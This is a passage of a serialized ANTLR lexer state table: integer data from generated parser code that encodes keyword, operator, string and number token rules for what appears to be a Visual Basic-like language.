246, 0, 1204, 194, 1, 0, 0, 0, 1205, 1206, 3, 383, 191, 0, 1206, 1207, 3, 471, 235, 0, 1207, 1208, 3, 465, 232, 0, 1208, 196, 1, 0, 0, 0, 1209, 1210, 3, 383, 191, 0, 1210, 1211, 3, 463, 231, 0, 1211, 1212, 3, 477, 238, 0, 1212, 1213, 3, 491, 245, 0, 1213, 1214, 3, 463, 231, 0, 1214, 1215, 3, 471, 235, 0, 1215, 1216, 3, 465, 232, 0, 1216, 198, 1, 0, 0, 0, 1217, 1218, 3, 383, 191, 0, 1218, 1219, 3, 463, 231, 0, 1219, 1220, 3, 477, 238, 0, 1220, 1221, 3, 491, 245, 0, 1221, 1222, 3, 463, 231, 0, 1222, 200, 1, 0, 0, 0, 1223, 1224, 3, 383, 191, 0, 1224, 1225, 3, 463, 231, 0, 1225, 1226, 3, 481, 240, 0, 1226, 1227, 3, 461, 230, 0, 1227, 1228, 5, 32, 0, 0, 1228, 1229, 3, 471, 235, 0, 1229, 1230, 3, 465, 232, 0, 1230, 202, 1, 0, 0, 0, 1231, 1232, 3, 479, 239, 0, 1232, 1233, 3, 463, 231, 0, 1233, 204, 1, 0, 0, 0, 1234, 1235, 3, 479, 239, 0, 1235, 1236, 3, 471, 235, 0, 1236, 1237, 3, 461, 230, 0, 1237, 206, 1, 0, 0, 0, 1238, 1239, 3, 479, 239, 0, 1239, 1240, 3, 475, 237, 0, 1240, 1241, 3, 461, 230, 0, 1241, 1242, 3, 471, 235, 0, 1242, 1243, 3, 489, 244, 0, 1243, 208, 1, 0, 0, 0, 1244, 1245, 3, 479, 239, 0, 1245, 1246, 3, 483, 241, 0, 1246, 1247, 3, 461, 230, 0, 1247, 210, 1, 0, 0, 0, 1248, 1249, 3, 481, 240, 0, 1249, 1250, 3, 455, 227, 0, 1250, 1251, 3, 479, 239, 0, 1251, 1252, 3, 463, 231, 0, 1252, 212, 1, 0, 0, 0, 1253, 1254, 3, 481, 240, 0, 1254, 1255, 3, 463, 231, 0, 1255, 1256, 3, 501, 250, 0, 1256, 1257, 3, 493, 246, 0, 1257, 214, 1, 0, 0, 0, 1258, 1259, 3, 481, 240, 0, 1259, 1260, 3, 463, 231, 0, 1260, 1261, 3, 499, 249, 0, 1261, 216, 1, 0, 0, 0, 1262, 1263, 3, 481, 240, 0, 1263, 1264, 3, 483, 241, 0, 1264, 1265, 3, 493, 246, 0, 1265, 218, 1, 0, 0, 0, 1266, 1267, 3, 481, 240, 0, 1267, 1268, 3, 483, 241, 0, 1268, 1269, 3, 493, 246, 0, 1269, 1270, 3, 469, 234, 0, 1270, 1271, 3, 471, 235, 0, 1271, 1272, 3, 481, 240, 0, 1272, 1273, 3, 467, 233, 0, 1273, 220, 1, 0, 0, 0, 1274, 1275, 3, 481, 240, 0, 1275, 1276, 3, 495, 247, 0, 1276, 1277, 3, 477, 238, 0, 1277, 1278, 3, 477, 238, 0, 1278, 222, 1, 0, 0, 0, 1279, 1280, 3, 483, 241, 0, 1280, 1281, 3, 457, 228, 0, 1281, 1282, 3, 473, 236, 0, 1282, 1283, 3, 463, 231, 0, 1283, 1284, 3, 459, 229, 0, 1284, 1285, 3, 493, 246, 0, 1285, 224, 1, 0, 0, 0, 1286, 1287, 3, 483, 241, 0, 1287, 1288, 3, 481, 240, 0, 1288, 226, 1, 0, 0, 0, 1289, 1290, 3, 483, 241, 0, 1290, 1291, 3, 481, 240, 0, 1291, 1292, 5, 32, 0, 0, 1292, 1293, 3, 463, 231, 0, 1293, 1294, 3, 489, 244, 0, 1294, 1295, 3, 489, 244, 0, 1295, 1296, 3, 483, 241, 0, 1296, 1297, 3, 489, 244, 0, 1297, 228, 1, 0, 0, 0, 1298, 1299, 3, 483, 241, 0, 1299, 1300, 3, 481, 240, 0, 1300, 1301, 5, 32, 0, 0, 1301, 1302, 3, 477, 238, 0, 1302, 1303, 3, 483, 241, 0, 1303, 1304, 3, 459, 229, 0, 1304, 1305, 3, 455, 227, 0, 1305, 1306, 3, 477, 238, 0, 1306, 1307, 5, 32, 0, 0, 1307, 1308, 3, 463, 231, 0, 1308, 1309, 3, 489, 244, 0, 1309, 1310, 3, 489, 244, 0, 1310, 1311, 3, 483, 241, 0, 1311, 1312, 3, 489, 244, 0, 1312, 230, 1, 0, 0, 0, 1313, 1314, 3, 483, 241, 0, 1314, 1315, 3, 485, 242, 0, 1315, 1316, 3, 463, 231, 0, 1316, 1317, 3, 481, 240, 0, 1317, 232, 1, 0, 0, 0, 1318, 1319, 3, 483, 241, 0, 1319, 1320, 3, 485, 242, 0, 1320, 1321, 3, 493, 246, 0, 1321, 1322, 3, 471, 235, 0, 1322, 1323, 3, 483, 241, 0, 1323, 1324, 3, 481, 240, 0, 1324, 1325, 3, 455, 227, 0, 1325, 1326, 3, 477, 238, 0, 1326, 234, 1, 0, 0, 0, 1327, 1328, 3, 483, 241, 0, 1328, 1329, 3, 485, 242, 0, 1329, 1330, 3, 493, 246, 0, 1330, 1331, 3, 471, 235, 0, 1331, 1332, 3, 483, 241, 0, 1332, 1333, 3, 481, 240, 0, 1333, 1334, 5, 32, 0, 0, 1334, 1335, 3, 457, 228, 0, 1335, 1336, 3, 455, 227, 0, 1336, 1337, 3, 491, 245, 0, 1337, 1338, 3, 463, 231, 0, 1338, 236, 1, 0, 0, 0, 1339, 1340, 3, 483, 241, 0, 1340, 1341, 3, 485, 242, 0, 1341, 1342, 3, 493, 246, 0, 1342, 1343, 3, 471, 235, 0, 1343, 1344, 3, 483, 241, 0, 1344, 1345, 3, 481, 240, 0, 1345, 1346, 5, 32, 0, 0, 1346, 1347, 3, 463, 231, 0, 1347, 1348, 3, 501, 250, 0, 1348, 1349, 3, 485, 242, 0, 1349, 1350, 3, 477, 238, 0, 1350, 1351, 3, 471, 235, 0, 1351, 1352, 3, 459, 229, 0, 1352, 1353, 3, 471, 235, 0, 1353, 1354, 3, 493, 246, 0, 1354, 238, 1, 0, 0, 0, 1355, 1356, 3, 483, 241, 0, 1356, 1357, 3, 485, 242, 0, 1357, 1358, 3, 493, 246, 0, 1358, 1359, 3, 471, 235, 0, 1359, 1360, 3, 483, 241, 0, 1360, 1361, 3, 481, 240, 0, 1361, 1362, 5, 32, 0, 0, 1362, 1363, 3, 459, 229, 0, 1363, 1364, 3, 483, 241, 0, 1364, 1365, 3, 479, 239, 0, 1365, 1366, 3, 485, 242, 0, 1366, 1367, 3, 455, 227, 0, 1367, 1368, 3, 489, 244, 0, 1368, 1369, 3, 463, 231, 0, 1369, 240, 1, 0, 0, 0, 1370, 1371, 3, 483, 241, 0, 1371, 1372, 3, 485, 242, 0, 1372, 1373, 3, 493, 246, 0, 1373, 1374, 3, 471, 235, 0, 1374, 1375, 3, 483, 241, 0, 1375, 1376, 3, 481, 240, 0, 1376, 1377, 5, 32, 0, 0, 1377, 1378, 3, 485, 242, 0, 1378, 1379, 3, 489, 244, 0, 1379, 1380, 3, 471, 235, 0, 1380, 1381, 3, 497, 248, 0, 1381, 1382, 3, 455, 227, 0, 1382, 1383, 3, 493, 246, 0, 1383, 1384, 3, 463, 231, 0, 1384, 1385, 5, 32, 0, 0, 1385, 1386, 3, 479, 239, 0, 1386, 1387, 3, 483, 241, 0, 1387, 1388, 3, 461, 230, 0, 1388, 1389, 3, 495, 247, 0, 1389, 1390, 3, 477, 238, 0, 1390, 1391, 3, 463, 231, 0, 1391, 242, 1, 0, 0, 0, 1392, 1393, 3, 483, 241, 0, 1393, 1394, 3, 489, 244, 0, 1394, 244, 1, 0, 0, 0, 1395, 1396, 3, 483, 241, 0, 1396, 1397, 3, 495, 247, 0, 1397, 1398, 3, 493, 246, 0, 1398, 1399, 3, 485, 242, 0, 1399, 1400, 3, 495, 247, 0, 1400, 1401, 3, 493, 246, 0, 1401, 246, 1, 0, 0, 0, 1402, 1403, 3, 485, 242, 0, 1403, 1404, 3, 455, 227, 0, 1404, 1405, 3, 489, 244, 0, 1405, 1406, 3, 455, 227, 0, 1406, 1407, 3, 479, 239, 0, 1407, 1408, 3, 455, 227, 0, 1408, 1409, 3, 489, 244, 0, 1409, 1410, 3, 489, 244, 0, 1410, 1411, 3, 455, 227, 0, 1411, 1412, 3, 503, 251, 0, 1412, 248, 1, 0, 0, 0, 1413, 1414, 3, 485, 242, 0, 1414, 1415, 3, 489, 244, 0, 1415, 1416, 3, 463, 231, 0, 1416, 1417, 3, 491, 245, 0, 1417, 1418, 3, 463, 231, 0, 1418, 1419, 3, 489, 244, 0, 1419, 1420, 3, 497, 248, 0, 1420, 1421, 3, 463, 231, 0, 1421, 250, 1, 0, 0, 0, 1422, 1423, 3, 485, 242, 0, 1423, 1424, 3, 489, 244, 0, 1424, 1425, 3, 471, 235, 0, 1425, 1426, 3, 481, 240, 0, 1426, 1427, 3, 493, 246, 0, 1427, 252, 1, 0, 0, 0, 1428, 1429, 3, 485, 242, 0, 1429, 1430, 3, 489, 244, 0, 1430, 1431, 3, 471, 235, 0, 1431, 1432, 3, 497, 248, 0, 1432, 1433, 3, 455, 227, 0, 1433, 1434, 3, 493, 246, 0, 1434, 1435, 3, 463, 231, 0, 1435, 254, 1, 0, 0, 0, 1436, 1437, 3, 485, 242, 0, 1437, 1438, 3, 489, 244, 0, 1438, 1439, 3, 483, 241, 0, 1439, 1440, 3, 485, 242, 0, 1440, 1441, 3, 463, 231, 0, 1441, 1442, 3, 489, 244, 0, 1442, 1443, 3, 493, 246, 0, 1443, 1444, 3, 503, 251, 0, 1444, 1445, 5, 32, 0, 0, 1445, 1446, 3, 467, 233, 0, 1446, 1447, 3, 463, 231, 0, 1447, 1448, 3, 493, 246, 0, 1448, 256, 1, 0, 0, 0, 1449, 1450, 3, 485, 242, 0, 1450, 1451, 3, 489, 244, 0, 1451, 1452, 3, 483, 241, 0, 1452, 1453, 3, 485, 242, 0, 1453, 1454, 3, 463, 231, 0, 1454, 1455, 3, 489, 244, 0, 1455, 1456, 3, 493, 246, 0, 1456, 1457, 3, 503, 251, 0, 1457, 1458, 5, 32, 0, 0, 1458, 1459, 3, 477, 238, 0, 1459, 1460, 3, 463, 231, 0, 1460, 1461, 3, 493, 246, 0, 1461, 258, 1, 0, 0, 0, 1462, 1463, 3, 485, 242, 0, 1463, 1464, 3, 489, 244, 0, 1464, 1465, 3, 483, 241, 0, 1465, 1466, 3, 485, 242, 0, 1466, 1467, 3, 463, 231, 0, 1467, 1468, 3, 489, 244, 0, 1468, 1469, 3, 493, 246, 0, 1469, 1470, 3, 503, 251, 0, 1470, 1471, 5, 32, 0, 0, 1471, 1472, 3, 491, 245, 0, 1472, 1473, 3, 463, 231, 0, 1473, 1474, 3, 493, 246, 0, 1474, 260, 1, 0, 0, 0, 1475, 1476, 3, 485, 242, 0, 1476, 1477, 3, 495, 247, 0, 1477, 1478, 3, 457, 228, 0, 1478, 1479, 3, 477, 238, 0, 1479, 1480, 3, 471, 235, 0, 1480, 1481, 3, 459, 229, 0, 1481, 262, 1, 0, 0, 0, 1482, 1483, 3, 485, 242, 0, 1483, 1484, 3, 495, 247, 0, 1484, 1485, 3, 493, 246, 0, 1485, 264, 1, 0, 0, 0, 1486, 1487, 3, 489, 244, 0, 1487, 1488, 3, 455, 227, 0, 1488, 1489, 3, 481, 240, 0, 1489, 1490, 3, 461, 230, 0, 1490, 1491, 3, 483, 241, 0, 1491, 1492, 3, 479, 239, 0, 1492, 266, 1, 0, 0, 0, 1493, 1494, 3, 489, 244, 0, 1494, 1495, 3, 455, 227, 0, 1495, 1496, 3, 481, 240, 0, 1496, 1497, 3, 461, 230, 0, 1497, 1498, 3, 483, 241, 0, 1498, 1499, 3, 479, 239, 0, 1499, 1500, 3, 471, 235, 0, 1500, 1501, 3, 505, 252, 0, 1501, 1502, 3, 463, 231, 0, 1502, 268, 1, 0, 0, 0, 1503, 1504, 3, 489, 244, 0, 1504, 1505, 3, 455, 227, 0, 1505, 1506, 3, 471, 235, 0, 1506, 1507, 3, 491, 245, 0, 1507, 1508, 3, 463, 231, 0, 1508, 1509, 3, 463, 231, 0, 1509, 1510, 3, 497, 248, 0, 1510, 1511, 3, 463, 231, 0, 1511, 1512, 3, 481, 240, 0, 1512, 1513, 3, 493, 246, 0, 1513, 270, 1, 0, 0, 0, 1514, 1515, 3, 489, 244, 0, 1515, 1516, 3, 463, 231, 0, 1516, 1517, 3, 455, 227, 0, 1517, 1518, 3, 461, 230, 0, 1518, 272, 1, 0, 0, 0, 1519, 1520, 3, 489, 244, 0, 1520, 1521, 3, 463, 231, 0, 1521, 1522, 3, 455, 227, 0, 1522, 1523, 3, 461, 230, 0, 1523, 1524, 5, 32, 0, 0, 1524, 1525, 3, 499, 249, 0, 1525, 1526, 3, 489, 244, 0, 1526, 1527, 3, 471, 235, 0, 1527, 1528, 3, 493, 246, 0, 1528, 1529, 3, 463, 231, 0, 1529, 274, 1, 0, 0, 0, 1530, 1531, 3, 489, 244, 0, 1531, 1532, 3, 463, 231, 0, 1532, 1533, 3, 461, 230, 0, 1533, 1534, 3, 471, 235, 0, 1534, 1535, 3, 479, 239, 0, 1535, 276, 1, 0, 0, 0, 1536, 1537, 3, 489, 244, 0, 1537, 1538, 3, 463, 231, 0, 1538, 1539, 3, 479, 239, 0, 1539, 278, 1, 0, 0, 0, 1540, 1541, 3, 489, 244, 0, 1541, 1542, 3, 463, 231, 0, 1542, 1543, 3, 491, 245, 0, 1543, 1544, 3, 463, 231, 0, 1544, 1545, 3, 493, 246, 0, 1545, 280, 1, 0, 0, 0, 1546, 1547, 3, 489, 244, 0, 1547, 1548, 3, 463, 231, 0, 1548, 1549, 3, 491, 245, 0, 1549, 1550, 3, 495, 247, 0, 1550, 1551, 3, 479, 239, 0, 1551, 1552, 3, 463, 231, 0, 1552, 282, 1, 0, 0, 0, 1553, 1554, 3, 489, 244, 0, 1554, 1555, 3, 463, 231, 0, 1555, 1556, 3, 493, 246, 0, 1556, 1557, 3, 495, 247, 0, 1557, 1558, 3, 489, 244, 0, 1558, 1559, 3, 481, 240, 0, 1559, 284, 1, 0, 0, 0, 1560, 1561, 3, 489, 244, 0, 1561, 1562, 3, 479, 239, 0, 1562, 1563, 3, 461, 230, 0, 1563, 1564, 3, 471, 235, 0, 1564, 1565, 3, 489, 244, 0, 1565, 286, 1, 0, 0, 0, 1566, 1567, 3, 489, 244, 0, 1567, 1568, 3, 491, 245, 0, 1568, 1569, 3, 463, 231, 0, 1569, 1570, 3, 493, 246, 0, 1570, 288, 1, 0, 0, 0, 1571, 1572, 3, 491, 245, 0, 1572, 1573, 3, 455, 227, 0, 1573, 1574, 3, 497, 248, 0, 1574, 1575, 3, 463, 231, 0, 1575, 1576, 3, 485, 242, 0, 1576, 1577, 3, 471, 235, 0, 1577, 1578, 3, 459, 229, 0, 1578, 1579, 3, 493, 246, 0, 1579, 1580, 3, 495, 247, 0, 1580, 1581, 3, 489, 244, 0, 1581, 1582, 3, 463, 231, 0, 1582, 290, 1, 0, 0, 0, 1583, 1584, 3, 491, 245, 0, 1584, 1585, 3, 455, 227, 0, 1585, 1586, 3, 497, 248, 0, 1586, 1587, 3, 463, 231, 0, 1587, 1588, 3, 491, 245, 0, 1588, 1589, 3, 463, 231, 0, 1589, 1590, 3, 493, 246, 0, 1590, 1591, 3, 493, 246, 0, 1591, 1592, 3, 471, 235, 0, 1592, 1593, 3, 481, 240, 0, 1593, 1594, 3, 467, 233, 0, 1594, 292, 1, 0, 0, 0, 1595, 1596, 3, 491, 245, 0, 1596, 1597, 3, 463, 231, 0, 1597, 1598, 3, 463, 231, 0, 1598, 1599, 3, 475, 237, 0, 1599, 294, 1, 0, 0, 0, 1600, 1601, 3, 491, 245, 0, 1601, 1602, 3, 463, 231, 0, 1602, 1603, 3, 477, 238, 0, 1603, 1604, 3, 463, 231, 0, 1604, 1605, 3, 459, 229, 0, 1605, 1606, 3, 493, 246, 0, 1606, 296, 1, 0, 0, 0, 1607, 1608, 3, 491, 245, 0, 1608, 1609, 3, 463, 231, 0, 1609, 1610, 3, 481, 240, 0, 1610, 1611, 3, 461, 230, 0, 1611, 1612, 3, 475, 237, 0, 1612, 1613, 3, 463, 231, 0, 1613, 1614, 3, 503, 251, 0, 1614, 1615, 3, 491, 245, 0, 1615, 298, 1, 0, 0, 0, 1616, 1617, 3, 491, 245, 0, 1617, 1618, 3, 463, 231, 0, 1618, 1619, 3, 493, 246, 0, 1619, 300, 1, 0, 0, 0, 1620, 1621, 3, 491, 245, 0, 1621, 1622, 3, 463, 231, 0, 1622, 1623, 3, 493, 246, 0, 1623, 1624, 3, 455, 227, 0, 1624, 1625, 3, 493, 246, 0, 1625, 1626, 3, 493, 246, 0, 1626, 1627, 3, 489, 244, 0, 1627, 302, 1, 0, 0, 0, 1628, 1629, 3, 491, 245, 0, 1629, 1630, 3, 469, 234, 0, 1630, 1631, 3, 455, 227, 0, 1631, 1632, 3, 489, 244, 0, 1632, 1633, 3, 463, 231, 0, 1633, 1634, 3, 461, 230, 0, 1634, 304, 1, 0, 0, 0, 1635, 1636, 3, 491, 245, 0, 1636, 1637, 3, 471, 235, 0, 1637, 1638, 3, 481, 240, 0, 1638, 1639, 3, 467, 233, 0, 1639, 1640, 3, 477, 238, 0, 1640, 1641, 3, 463, 231, 0, 1641, 306, 1, 0, 0, 0, 1642, 1643, 3, 491, 245, 0, 1643, 1644, 3, 485, 242, 0, 1644, 1645, 3, 459, 229, 0, 1645, 308, 1, 0, 0, 0, 1646, 1647, 3, 491, 245, 0, 1647, 1648, 3, 493, 246, 0, 1648, 1649, 3, 455, 227, 0, 1649, 1650, 3, 493, 246, 0, 1650, 1651, 3, 471, 235, 0, 1651, 1652, 3, 459, 229, 0, 1652, 310, 1, 0, 0, 0, 1653, 1654, 3, 461, 230, 0, 1654, 1655, 3, 463, 231, 0, 1655, 1656, 3, 465, 232, 0, 1656, 1657, 3, 455, 227, 0, 1657, 1658, 3, 495, 247, 0, 1658, 1659, 3, 477, 238, 0, 1659, 1660, 3, 493, 246, 0, 1660, 312, 1, 0, 0, 0, 1661, 1662, 3, 491, 245, 0, 1662, 1663, 3, 493, 246, 0, 1663, 1664, 3, 463, 231, 0, 1664, 1665, 3, 485, 242, 0, 1665, 314, 1, 0, 0, 0, 1666, 1667, 3, 491, 245, 0, 1667, 1668, 3, 493, 246, 0, 1668, 1669, 3, 483, 241, 0, 1669, 1670, 3, 485, 242, 0, 1670, 316, 1, 0, 0, 0, 1671, 1672, 3, 491, 245, 0, 1672, 1673, 3, 493, 246, 0, 1673, 1674, 3, 489, 244, 0, 1674, 1675, 3, 471, 235, 0, 1675, 1676, 3, 481, 240, 0, 1676, 1677, 3, 467, 233, 0, 1677, 318, 1, 0, 0, 0, 1678, 1679, 3, 491, 245, 0, 1679, 1680, 3, 495, 247, 0, 1680, 1681, 3, 457, 228, 0, 1681, 320, 1, 0, 0, 0, 1682, 1683, 3, 493, 246, 0, 1683, 1684, 3, 455, 227, 0, 1684, 1685, 3, 457, 228, 0, 1685, 322, 1, 0, 0, 0, 1686, 1687, 3, 493, 246, 0, 1687, 1688, 3, 463, 231, 0, 1688, 1689, 3, 501, 250, 0, 1689, 1690, 3, 493, 246, 0, 1690, 324, 1, 0, 0, 0, 1691, 1692, 3, 493, 246, 0, 1692, 1693, 3, 469, 234, 0, 1693, 1694, 3, 463, 231, 0, 1694, 1695, 3, 481, 240, 0, 1695, 326, 1, 0, 0, 0, 1696, 1697, 3, 493, 246, 0, 1697, 1698, 3, 471, 235, 0, 1698, 1699, 3, 479, 239, 0, 1699, 1700, 3, 463, 231, 0, 1700, 328, 1, 0, 0, 0, 1701, 1702, 3, 493, 246, 0, 1702, 1703, 3, 483, 241, 0, 1703, 330, 1, 0, 0, 0, 1704, 1705, 3, 493, 246, 0, 1705, 1706, 3, 489, 244, 0, 1706, 1707, 3, 495, 247, 0, 1707, 1708, 3, 463, 231, 0, 1708, 332, 1, 0, 0, 0, 1709, 1710, 3, 493, 246, 0, 1710, 1711, 3, 503, 251, 0, 1711, 1712, 3, 485, 242, 0, 1712, 1713, 3, 463, 231, 0, 1713, 334, 1, 0, 0, 0, 1714, 1715, 3, 493, 246, 0, 1715, 1716, 3, 503, 251, 0, 1716, 1717, 3, 485, 242, 0, 1717, 1718, 3, 463, 231, 0, 1718, 1719, 3, 483, 241, 0, 1719, 1720, 3, 465, 232, 0, 1720, 336, 1, 0, 0, 0, 1721, 1722, 3, 495, 247, 0, 1722, 1723, 3, 481, 240, 0, 1723, 1724, 3, 477, 238, 0, 1724, 1725, 3, 483, 241, 0, 1725, 1726, 3, 455, 227, 0, 1726, 1727, 3, 461, 230, 0, 1727, 338, 1, 0, 0, 0, 1728, 1729, 3, 495, 247, 0, 1729, 1730, 3, 481, 240, 0, 1730, 1731, 3, 477, 238, 0, 1731, 1732, 3, 483, 241, 0, 1732, 1733, 3, 459, 229, 0, 1733, 1734, 3, 475, 237, 0, 1734, 340, 1, 0, 0, 0, 1735, 1736, 3, 495, 247, 0, 1736, 1737, 3, 481, 240, 0, 1737, 1738, 3, 493, 246, 0, 1738, 1739, 3, 471, 235, 0, 1739, 1740, 3, 477, 238, 0, 1740, 342, 1, 0, 0, 0, 1741, 1742, 3, 497, 248, 0, 1742, 1743, 3, 455, 227, 0, 1743, 1744, 3, 489, 244, 0, 1744, 1745, 3, 471, 235, 0, 1745, 1746, 3, 455, 227, 0, 1746, 1747, 3, 481, 240, 0, 1747, 1748, 3, 493, 246, 0, 1748, 344, 1, 0, 0, 0, 1749, 1750, 3, 497, 248, 0, 1750, 1751, 3, 463, 231, 0, 1751, 1752, 3, 489, 244, 0, 1752, 1753, 3, 491, 245, 0, 1753, 1754, 3, 471, 235, 0, 1754, 1755, 3, 483, 241, 0, 1755, 1756, 3, 481, 240, 0, 1756, 346, 1, 0, 0, 0, 1757, 1758, 3, 499, 249, 0, 1758, 1759, 3, 463, 231, 0, 1759, 1760, 3, 481, 240, 0, 1760, 1761, 3, 461, 230, 0, 1761, 348, 1, 0, 0, 0, 1762, 1763, 3, 499, 249, 0, 1763, 1764, 3, 469, 234, 0, 1764, 1765, 3, 471, 235, 0, 1765, 1766, 3, 477, 238, 0, 1766, 1767, 3, 463, 231, 0, 1767, 350, 1, 0, 0, 0, 1768, 1769, 3, 499, 249, 0, 1769, 1770, 3, 471, 235, 0, 1770, 1771, 3, 461, 230, 0, 1771, 1772, 3, 493, 246, 0, 1772, 1773, 3, 469, 234, 0, 1773, 352, 1, 0, 0, 0, 1774, 1775, 3, 499, 249, 0, 1775, 1776, 3, 471, 235, 0, 1776, 1777, 3, 493, 246, 0, 1777, 1778, 3, 469, 234, 0, 1778, 354, 1, 0, 0, 0, 1779, 1780, 3, 499, 249, 0, 1780, 1781, 3, 471, 235, 0, 1781, 1782, 3, 493, 246, 0, 1782, 1783, 3, 469, 234, 0, 1783, 1784, 3, 463, 231, 0, 1784, 1785, 3, 497, 248, 0, 1785, 1786, 3, 463, 231, 0, 1786, 1787, 3, 481, 240, 0, 1787, 1788, 3, 493, 246, 0, 1788, 1789, 3, 491, 245, 0, 1789, 356, 1, 0, 0, 0, 1790, 1791, 3, 499, 249, 0, 1791, 1792, 3, 489, 244, 0, 1792, 1793, 3, 471, 235, 0, 1793, 1794, 3, 493, 246, 0, 1794, 1795, 3, 463, 231, 0, 1795, 358, 1, 0, 0, 0, 1796, 1797, 3, 501, 250, 0, 1797, 1798, 3, 483, 241, 0, 1798, 1799, 3, 489, 244, 0, 1799, 360, 1, 0, 0, 0, 1800, 1801, 5, 38, 0, 0, 1801, 362, 1, 0, 0, 0, 1802, 1803, 5, 58, 0, 0, 1803, 1804, 5, 61, 0, 0, 1804, 364, 1, 0, 0, 0, 1805, 1806, 5, 64, 0, 0, 1806, 366, 1, 0, 0, 0, 1807, 1808, 5, 44, 0, 0, 1808, 368, 1, 0, 0, 0, 1809, 1810, 7, 0, 0, 0, 1810, 370, 1, 0, 0, 0, 1811, 1812, 5, 36, 0, 0, 1812, 372, 1, 0, 0, 0, 1813, 1814, 5, 46, 0, 0, 1814, 374, 1, 0, 0, 0, 1815, 1816, 5, 61, 0, 0, 1816, 376, 1, 0, 0, 0, 1817, 1818, 5, 33, 0, 0, 1818, 378, 1, 0, 0, 0, 1819, 1820, 5, 62, 0, 0, 1820, 1821, 5, 61, 0, 0, 1821, 380, 1, 0, 0, 0, 1822, 1823, 5, 62, 0, 0, 1823, 382, 1, 0, 0, 0, 1824, 1825, 5, 35, 0, 0, 1825, 384, 1, 0, 0, 0, 1826, 1827, 5, 60, 0, 0, 1827, 1828, 5, 61, 0, 0, 1828, 386, 1, 0, 0, 0, 1829, 1830, 5, 123, 0, 0, 1830, 388, 1, 0, 0, 0, 1831, 1832, 5, 40, 0, 0, 1832, 390, 1, 0, 0, 0, 1833, 1834, 5, 60, 0, 0, 1834, 392, 1, 0, 0, 0, 1835, 1836, 5, 45, 0, 0, 1836, 394, 1, 0, 0, 0, 1837, 1838, 5, 45, 0, 0, 1838, 1839, 5, 61, 0, 0, 1839, 396, 1, 0, 0, 0, 1840, 1841, 5, 42, 0, 0, 1841, 398, 1, 0, 0, 0, 1842, 1843, 5, 60, 0, 0, 1843, 1844, 5, 62, 0, 0, 1844, 400, 1, 0, 0, 0, 1845, 1846, 5, 37, 0, 0, 1846, 402, 1, 0, 0, 0, 1847, 1848, 5, 43, 0, 0, 1848, 404, 1, 0, 0, 0, 1849, 1850, 5, 43, 0, 0, 1850, 1851, 5, 61, 0, 0, 1851, 406, 1, 0, 0, 0, 1852, 1853, 5, 94, 0, 0, 1853, 408, 1, 0, 0, 0, 1854, 1855, 5, 125, 0, 0, 1855, 410, 1, 0, 0, 0, 1856, 1857, 5, 41, 0, 0, 1857, 412, 1, 0, 0, 0, 1858, 1859, 5, 59, 0, 0, 1859, 414, 1, 0, 0, 0, 1860, 1861, 5, 91, 0, 0, 1861, 416, 1, 0, 0, 0, 1862, 1863, 5, 93, 0, 0, 1863, 418, 1, 0, 0, 0, 1864, 1870, 5, 34, 0, 0, 1865, 1869, 8, 1, 0, 0, 1866, 1867, 5, 34, 0, 0, 1867, 1869, 5, 34, 0, 0, 1868, 1865, 1, 0, 0, 0, 1868, 1866, 1, 0, 0, 0, 1869, 1872, 1, 0, 0, 0, 1870, 1868, 1, 0, 0, 0, 1870, 1871, 1, 0, 0, 0, 1871, 1873, 1, 0, 0, 0, 1872, 1870, 1, 0, 0, 0, 1873, 1874, 5, 34, 0, 0, 1874, 420, 1, 0, 0, 0, 1875, 1879, 3, 383, 191, 0, 1876, 1878, 8, 2, 0, 0, 1877, 1876, 1, 0, 0, 0, 1878, 1881, 1, 0, 0, 0, 1879, 1877, 1, 0, 0, 0, 1879, 1880, 1, 0, 0, 0, 1880, 1882, 1, 0, 0, 0, 1881, 1879, 1, 0, 0, 0, 1882, 1883, 3, 383, 191, 0, 1883, 422, 1, 0, 0, 0, 1884, 1885, 5, 38, 0, 0, 1885, 1889, 5, 72, 0, 0, 1886, 1887, 5, 38, 0, 0, 1887, 1889, 5, 104, 0, 0, 1888, 1884, 1, 0, 0, 0, 1888, 1886, 1, 0, 0, 0, 1889, 1891, 1, 0, 0, 0, 1890, 1892, 7, 3, 0, 0, 1891, 1890, 1, 0, 0, 0, 1892, 1893, 1, 0, 0, 0, 1893, 1891, 1, 0, 0, 0, 1893, 1894, 1, 0, 0, 0, 1894, 1896, 1, 0, 0, 0, 1895, 1897, 3, 361, 180, 0, 1896, 1895, 1, 0, 0, 0, 1896, 1897, 1, 0, 0, 0, 1897, 424, 1, 0, 0, 0, 1898, 1900, 2, 48, 57, 0, 1899, 1898, 1, 0, 0, 0, 1900, 1901, 1, 0, 0, 0, 1901, 1899, 1, 0, 0, 0, 1901, 1902, 1, 0, 0, 0, 1902, 1907, 1, 0, 0, 0, 1903, 1904, 7, 4, 0, 0, 1904, 1906, 3, 425, 212, 0, 1905, 1903, 1, 0, 0, 0, 1906, 1909, 1, 0, 0, 0, 1907, 1905, 1, 0, 0, 0, 1907, 1908, 1, 0, 0, 0, 1908, 1913, 1, 0, 0, 0, 1909, 1907, 1, 0, 0, 0, 1910, 1914, 3, 383, 191, 0, 1911, 1914, 3, 377, 188, 0, 1912, 1914, 3, 365, 182, 0, 1913, 1910, 1, 0, 0, 0, 1913, 1911, 1, 0, 0, 0, 1913, 1912, 1, 0, 0, 0, 1913, 1914, 1, 0, 0, 0, 1914, 426, 1, 0, 0, 0, 1915, 1917, 2, 48, 57, 0, 1916, 1915, 1, 0, 0, 0, 1917, 1920, 1, 0, 0, 0, 1918, 1916, 1, 0, 0, 0, 1918, 1919, 1, 0, 0, 0, 1919, 1921, 1, 0, 0, 0, 1920, 1918, 1, 0, 0, 0, 1921, 1923, 3, 373, 186, 0, 1922, 1924, 2, 48, 57, 0, 1923, 1922, 1, 0, 0, 0, 1924, 1925, 1, 0, 0, 0, 1925, 1923, 1, 0, 0, 0, 1925, 1926, 1, 0, 0, 0, 1926, 1939, 1, 0, 0, 0, 1927, 1930, 7, 4, 0, 0, 1928, 1931, 3, 403, 201, 0, 1929, 1931, 3, 393, 196, 0, 1930, 1928, 1, 0, 0, 0, 1930, 1929, 1, 0, 0, 0, 1930, 1931, 1, 0, 0, 0, 1931, 1933, 1, 0, 0, 0, 1932, 1934, 2, 48, 57, 0, 1933, 1932, 1, 0, 0, 0, 1934, 1935, 1, 0, 0, 0, 1935, 1933, 1, 0, 0, 0, 1935, 1936, 1, 0, 0, 0, 1936, 1938, 1, 0, 0, 0, 1937, 1927, 1, 0, 0, 0, 1938, 1941, 1, 0, 0, 0, 1939, 1937, 1, 0, 0, 0, 1939, 1940, 1, 0, 0, 0, 1940, 1946, 1, 0, 0, 0, 1941, 1939, 1, 0, 0, 0, 1942, 1947, 3, 